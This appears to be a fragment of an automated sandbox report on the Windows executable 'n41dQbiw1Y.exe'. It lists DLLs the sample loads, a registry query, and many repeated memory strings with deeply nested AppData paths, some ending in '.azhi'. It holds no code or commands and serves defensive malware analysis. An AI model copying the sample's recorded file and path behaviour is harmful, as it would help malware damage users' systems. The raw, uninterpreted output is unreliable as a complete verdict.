Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ncryptsslp.dll

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\i source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\D source: n41dQbiw1Y.exe, 00000004.00000003.2507897466.000000000394A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ls\\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: n41dQbiw1Y.exe, 00000004.00000003.2473818043.00000000035B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2416435845.0000000003668000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415962079.000000000365A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425361424.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444253504.0000000003677000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425570761.0000000003670000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472270849.000000000367C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\he\* source: n41dQbiw1Y.exe, 00000004.00000003.2481841973.0000000003599000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2427178097.0000000003882000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2417020079.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424849270.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416623132.00000000034F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\*d source: n41dQbiw1Y.exe, 00000004.00000003.2416435845.0000000003668000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415962079.000000000365A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425361424.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444253504.0000000003677000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425570761.0000000003670000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472270849.000000000367C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\Q source: n41dQbiw1Y.exe, 00000004.00000003.2509182978.000000000366B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2504232733.00000000039E0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2509253380.0000000003A31000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\DVR\ source: n41dQbiw1Y.exe, 00000004.00000003.2427745703.000000000369B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424701758.000000000368C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\c source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ls\yewy\Y source: n41dQbiw1Y.exe, 00000004.00000003.2514495143.0000000003A51000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2529856853.0000000003A60000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2511916783.0000000003A40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\Q source: n41dQbiw1Y.exe, 00000004.00000003.2425095748.000000000300B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2417182398.0000000003010000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416256520.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Z source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.azhi> source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2504192573.0000000003004000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ate\ source: n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2504232733.00000000039E0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003A0B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ow\\ source: n41dQbiw1Y.exe, 00000004.00000003.2514495143.0000000003A51000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2529856853.0000000003A60000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2511916783.0000000003A40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.azhi source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2478629641.00000000039C7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2493971115.00000000039BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ H source: n41dQbiw1Y.exe, 00000004.00000003.2477445978.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473323826.0000000003985000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2482249490.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481338652.0000000003955000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\O source: n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2509605254.0000000003004000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508964259.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2385032697.0000000003034000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350312868.000000000303D000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386501404.000000000304B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\ source: n41dQbiw1Y.exe, 00000004.00000003.2385032697.0000000003034000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350312868.000000000303D000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386501404.000000000304B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\he\4 source: n41dQbiw1Y.exe, 00000004.00000003.2443091697.000000000359C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443862660.000000000359C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\T source: n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ata\A source: n41dQbiw1Y.exe, 00000004.00000003.2503004701.00000000038B6000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2503615982.00000000038B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\dy source: n41dQbiw1Y.exe, 00000004.00000003.2427745703.000000000369B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424701758.000000000368C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\L source: n41dQbiw1Y.exe, 00000004.00000003.2504232733.00000000039E0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2509253380.0000000003A31000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Logs\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2477445978.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2482249490.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481338652.0000000003955000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e$ source: n41dQbiw1Y.exe, 00000004.00000003.2481796921.00000000034FE000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480023873.00000000034F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\} source: n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.azhi source: n41dQbiw1Y.exe, 00000004.00000003.2350866644.0000000002FE5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350768467.0000000002FD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\5 source: n41dQbiw1Y.exe, 00000004.00000003.2479854719.00000000038EB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479014137.00000000038B6000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479453689.00000000038D7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2479179745.00000000038B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: n41dQbiw1Y.exe, 00000004.00000003.2445031684.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443616492.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443091697.000000000359C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443787722.00000000035CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ar source: n41dQbiw1Y.exe, 00000004.00000003.2503004701.00000000038B6000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2503615982.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2512379483.00000000038C0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508743176.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2512842174.00000000038C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2477445978.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473323826.0000000003985000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2482249490.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481338652.0000000003955000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056 source: n41dQbiw1Y.exe, 00000004.00000003.2385355480.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385444405.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385479821.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: n41dQbiw1Y.exe, 00000004.00000003.2509713380.0000000003A51000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2509253380.0000000003A31000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\** source: n41dQbiw1Y.exe, 00000004.00000003.2517793723.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\es\ source: n41dQbiw1Y.exe, 00000004.00000003.2416004876.000000000359D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2350365958.00000000034F1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.1982658575.0000000003517000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2006006511.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350696624.0000000003519000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\AC\O source: n41dQbiw1Y.exe, 00000004.00000003.2481128544.000000000350E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472330811.0000000003523000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481182347.0000000003523000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480023873.00000000034F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\3 source: n41dQbiw1Y.exe, 00000004.00000003.2483028151.000000000392B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471889224.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445138231.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472632288.00000000038F5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2477445978.0000000003913000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473323826.0000000003913000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444037934.00000000038B7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444677929.00000000038CB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443432510.00000000038A3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471556860.000000000389A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb< source: n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\s source: n41dQbiw1Y.exe, 00000004.00000003.2417020079.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424849270.0000000003873000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: n41dQbiw1Y.exe, 00000004.00000003.2350365958.00000000034F1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384942285.0000000003586000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384782477.000000000353A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350696624.0000000003519000.00000004.00000020.00020000.00000000.sdmp
